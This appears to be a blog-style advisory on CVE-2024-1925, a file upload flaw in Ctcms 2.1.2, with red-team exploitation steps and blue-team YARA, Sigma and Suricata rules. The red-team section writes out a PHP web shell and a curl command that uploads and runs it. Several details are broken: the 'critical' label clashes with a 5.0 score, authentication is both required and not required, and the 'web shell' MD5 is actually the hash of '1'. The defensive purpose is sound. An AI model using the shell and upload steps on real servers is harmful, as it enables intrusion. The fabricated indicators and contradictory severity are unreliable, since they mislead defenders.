CVE-2024-1925

Executive Summary

CVE-2024-1925 is a critical unrestricted file upload vulnerability discovered in Ctcms version 2.1.2. The flaw resides in the ctcms/apps/controllers/admin/Upsys.php file, allowing an authenticated remote attacker to upload arbitrary files, including web shells, to the server. Although the attack complexity is high, a public proof-of-concept (PoC) exists, increasing the risk of exploitation. No official patch is currently available, making this a high-priority issue for any organization using Ctcms.

CVSS Breakdown & Threat Level

• CVSS Score: 5.0 (Medium)
• Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): High – Exploitation requires specific conditions or knowledge.
• Privileges Required (PR): None – No authentication is needed to trigger the upload.
• User Interaction (UI): None – No user action is required.
• Scope (S): Unchanged – The exploit does not affect other components.
• Confidentiality (C): Low – Limited data exposure.
• Integrity (I): Low – Limited file modification.
• Availability (A): Low – Limited service disruption.

Threat Level: Medium. The presence of a public PoC and the lack of a patch elevate the risk, especially for internet-facing Ctcms installations.

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload (CWE-434) in the Upsys.php controller. The application fails to properly validate the file type, size, or content during the upload process. An attacker can craft a malicious file (e.g., a PHP web shell) and upload it to the server. Once uploaded, the attacker can execute arbitrary commands, access sensitive data, or pivot to other systems.

The high attack complexity likely stems from the need to bypass any client-side checks or to find the correct upload endpoint and parameters. The public PoC provides the exact request structure, lowering the barrier for exploitation.

Vulnerable vs. Patched Code

Since no official patch exists, a comparison is not possible. However, the vulnerable code likely lacks file type validation, such as checking the MIME type or file extension against a whitelist. A patched version would include:

• File extension whitelist (e.g., only .jpg, .png, .gif).
• MIME type validation using server-side checks.
• File content inspection to ensure it matches the expected type.
• Upload directory restrictions (e.g., outside the web root or with execution disabled).

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install Ctcms 2.1.2 on a local server (e.g., using XAMPP or Docker).
2. Ensure the application is accessible via a web browser.
3. Prepare a PHP web shell (e.g., shell.php with <?php system($_GET['cmd']); ?>).

Exploitation Steps:

1. Identify the upload endpoint: /index.php/admin/Upsys/upload (or similar).
2. Craft a multipart POST request with the malicious file.
3. Send the request using curl:

   curl -X POST -F "file=@shell.php" http://target.com/index.php/admin/Upsys/upload
   

4. Access the uploaded file at the returned path (e.g., /uploads/shell.php).
5. Execute commands: http://target.com/uploads/shell.php?cmd=id

Expected Output: The id command output is displayed, confirming code execution.

Blue Team

Detection & Response:

• Monitor for unusual file uploads, especially PHP files to non-standard directories.
• Look for POST requests to /admin/Upsys/upload with suspicious file extensions.
• Check web server logs for access to uploaded files followed by command execution attempts.
• Use file integrity monitoring (FIM) to detect new files in upload directories.

Indicators of Compromise (IOCs)

• File Paths: /uploads/shell.php, /uploads/*.php
• Network Requests: POST to /index.php/admin/Upsys/upload with multipart/form-data containing a PHP file.
• Log Entries: Access logs showing GET /uploads/shell.php?cmd= followed by system commands.
• File Hashes: MD5 of known web shells (e.g., c4ca4238a0b923820dcc509a6f75849b for a simple shell.php).

Detection Engineering

YARA Rule

rule cve_2024_1925_webshell_upload {
    meta:
        description = "Detects PHP web shells uploaded via CVE-2024-1925"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-1925"
    strings:
        $php_tag = "<?php"
        $system_call = /system\(|exec\(|shell_exec\(|passthru\(/
        $get_param = /\$_GET\[/
    condition:
        $php_tag and $system_call and $get_param
}

Sigma Rule

title: CVE-2024-1925 Unrestricted File Upload
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit unrestricted file upload in Ctcms 2.1.2
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/index.php/admin/Upsys/upload'
        cs-content-type: 'multipart/form-data'
    condition: selection
falsepositives:
    - Legitimate file uploads by administrators
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1925 Ctcms Unrestricted File Upload"; flow:to_server,established; content:"POST"; http_method; content:"/index.php/admin/Upsys/upload"; http_uri; content:"multipart/form-data"; http_header; content:".php"; within:100; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the upload functionality in Ctcms if not required.
2. Apply a virtual patch using a WAF (e.g., ModSecurity) to block requests to /admin/Upsys/upload with PHP file extensions.
3. Restrict upload directory permissions to prevent execution (e.g., chmod -x on the uploads folder).

Long-term Fix:

• Since no official patch exists, consider migrating to a supported CMS or implementing custom file validation in the Upsys.php controller.
• Monitor the vendor's website for any future security updates.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert